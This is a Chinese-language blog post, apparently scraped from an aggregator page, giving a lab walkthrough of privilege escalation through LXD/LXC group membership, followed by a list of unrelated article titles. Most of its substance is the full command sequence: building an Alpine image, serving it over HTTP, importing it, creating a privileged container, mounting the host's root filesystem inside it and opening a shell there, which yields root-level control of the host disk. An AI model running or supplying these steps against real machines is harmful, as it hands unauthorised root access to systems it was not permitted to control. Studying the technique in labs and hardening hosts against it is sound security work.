当前位置: 首页 > news >正文

lxd提权

lxd/lxc提权

漏洞介绍

lxd是一个root进程,它可以负责执行任意用户的lxd,unix套接字写入访问操作。而且在一些情况下,lxd不会调用它的用户权限进行检查和匹配

原理可以理解为用用户创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果

提权复现

环境:攻击机kali 192.168.31.131 靶机 192.168.31.134

image-20231125152324099

image-20231125152414099

在攻击机kali上操作

通过git将构建好的alpine镜像克隆到本地,并构建

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

然后将自己操作系统对应架构tar文件发送到靶机上

python -m http.server 8848

然后在下载的目录上使用此命令导入镜像

lxc image import ./alpine*.tar.gz --alias myimage 

初始化镜像,一路回车选择默认,不过会有几个显示以及存在default,让你重命名的,选择了就可以

lxd init

可能最后报错,但是也没关系

例如

image-20231125171111579

运行镜像

lxc init myimage mycontainer -c security.privileged=true

将/root挂载到镜像中

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

与镜像交互

lxc start mycontainer
lxc exec mycontainer /bin/sh
lxc start mycontainer
lxc exec mycontainer /bin/sh

image-20231125171236266

http://www.lryc.cn/news/249313.html

相关文章:

  • Ubuntu+Tesla V100环境配置
  • leetcode:用栈实现队列(先进先出)
  • <JavaEE> 什么是进程控制块(PCB Process Control Block)?
  • 简历上的工作经历怎么写
  • 数值分析总结
  • osg demo汇总
  • Leetcode.1590 使数组和能被 P 整除
  • uniappios请求打开麦克风 uniapp发起请求
  • Java 注解在 Android 中的使用场景
  • 【开源】基于Vue和SpringBoot的数字化社区网格管理系统
  • Go语言简要介绍
  • STM32H7 RTC及PC13问题
  • AntDB“超融合+流式实时数仓”——颠覆50年未变的数据库内核
  • TZOJ 1376 母牛的故事(递推和递归)
  • 五种多目标优化算法(MOPSO、MOAHA、NSGA2、NSGA3、MOGWO)求解微电网多目标优化调度(MATLAB)
  • 01_原理-事件循环
  • Redis的性能,哨兵模式,集群,
  • 如何选择共模噪声滤波器
  • Python与设计模式--模板模式
  • LoadRunner自动化测试工具的应用
  • 工厂模式是一种创建对象的设计模式,使用工厂类来创建对象,而不是直接使用 new 关键字来创建对象。
  • NET MVC中使用Element-Plus框架编写组件
  • 在线文库系统 转码功能源代码展示 支持文档在线预览查阅功能
  • Linux /etc/shadow密码生成操作示例
  • seata集成springboot的一些错误小计
  • springmvc(基础学习整合)
  • 采集软件大全-全网免费的采集软件大全
  • 世微AP5125 DC-DC降压恒流 LED车灯电源驱动IC SOT23-6
  • STC15-串口通信打印输出数据printf函数与sprintf函数
  • Android 11.0 默认开启USB调试功能